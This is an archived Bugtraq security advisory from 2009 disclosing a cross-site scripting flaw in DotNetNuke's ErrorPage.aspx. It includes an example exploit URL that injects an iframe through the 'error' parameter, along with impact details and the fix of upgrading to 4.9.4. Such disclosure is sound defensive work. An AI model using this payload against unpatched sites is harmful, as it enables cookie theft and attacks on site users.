bugtraq - DotNetNuke ErrorPage.aspx Cross-Site Scripting Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 22 May 2009 13:10:36 +1200
From: Ben Hawkes <ben.hawkes@...eralsecurity.com>
To: bugtraq@...urityfocus.com
Subject: DotNetNuke ErrorPage.aspx Cross-Site Scripting Vulnerability

--- Lateral Security Advisory 20090430-001 ---
Name: DotNetNuke ErrorPage.aspx Cross-Site Scripting Vulnerability
Reported: 30th April 2009
Published: 22nd May 2009

Background:
DotNetNuke is one of the most widely adopted open source framework for
website content management and web application development on Microsoft
ASP.NET.

Vulnerability Description:
DotNetNuke is prone to a cross-site scripting vulnerability because the
application fails to properly sanitise user-supplied input. An attacker
may leverage this issue to execute arbitrary script code in the browser
of an unsuspecting user in the context of the affected site. This may
help the attacker steal cookie-based authentication credentials and
launch other attacks.

Exploit:
The issue occurs due to DotNetNuke not correctly sanitising iframes
closed with an open-bracket. The following URL contains an example exploit:
	http://<site>/ErrorPage.aspx?status=500&error=test%3Ciframe%20src=%22http://www.lateralsecurity.com/XSS.html%22%3C

Impacted Products:
The issue affects versions up to and including DotNetNuke 4.9.3.

Solution:
Upgrade to DotNetNuke version 4.9.4 or above. DotNetNuke's bulletin
regarding this issue can be found here:
	http://www.dotnetnuke.com/News/SecurityPolicy/securitybulletinno27/tabid/1276/Default.aspx

Researcher:
Ben Hawkes, Lateral Security
www.lateralsecurity.com